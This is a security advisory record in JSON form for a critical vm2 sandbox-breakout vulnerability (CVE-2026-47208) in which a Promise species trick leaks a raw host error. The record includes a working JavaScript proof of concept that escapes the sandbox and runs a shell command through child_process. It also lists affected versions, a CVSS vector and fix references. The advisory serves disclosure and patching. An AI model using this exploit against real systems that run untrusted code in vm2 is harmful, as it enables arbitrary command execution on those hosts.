{"id":"GHSA-76w7-j9cq-rx2j","revision":"0dc5c095051a44dfb5a1c4d9c2bcfeed","records":[{"revision":"0dc5c095051a44dfb5a1c4d9c2bcfeed","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-76w7-j9cq-rx2j","aliases":["CVE-2026-47208"],"title":"vm2 is Vulnerable to Sandbox Breakout Through Promise Species","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nvm.run(`\nclass E extends Error {}\nfunction so(d) {\n\tif (d > 0) so(d-1);\n\tconst e = new E();\n\te.stack;\n\tthrow e;\n}\nlet ex, ct;\nclass FakePromise extends Promise {\n\tstatic get [Symbol.species](){return ct;}\n}\nfunction doCatch(f) {\n\tex=undefined;\n\tconst p=Promise.withResolvers();\n\tct = function(e){e(f, v=>{ex=v;p.resolve();})};\n\tnew FakePromise(r=>r());\n\treturn p.promise;\n}\n(async function f(s) {\n\tlet min = s;\n\tlet max = 100000;\n\twhile (min<max) {\n\t\tconst mid = (min+max)>>1;\n\t\tawait doCatch(()=>so(mid));\n\t\tif (ex.name===\"RangeError\" && !(ex instanceof RangeError)) {\n\t\t\tex.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n\t\t\treturn;\n\t\t}\n\t\tif (ex instanceof E) {\n\t\t\tmin = mid+1;\n\t\t} else {\n\t\t\tmax = mid;\n\t\t}\n\t}\n\tf(s+1);\n})(0);\n`);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","state":0,"publishedAt":"2026-05-29T17:40:15+00:00","modifiedAt":"2026-06-12T21:00:09.2059477+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-76w7-j9cq-rx2j","https://nvd.nist.gov/vuln/detail/CVE-2026-47208","https://github.com/patriksimek/vm2/commit/a462655009669c3124ee39498121651597529ea8","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.11.4"],"sourceUrl":"https://github.com/advisories/GHSA-76w7-j9cq-rx2j","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-76w7-j9cq-rx2j","identifiers":["GHSA-76w7-j9cq-rx2j","CVE-2026-47208"]},"retained":false,"historicalAffected":[]}],"coverage":[]}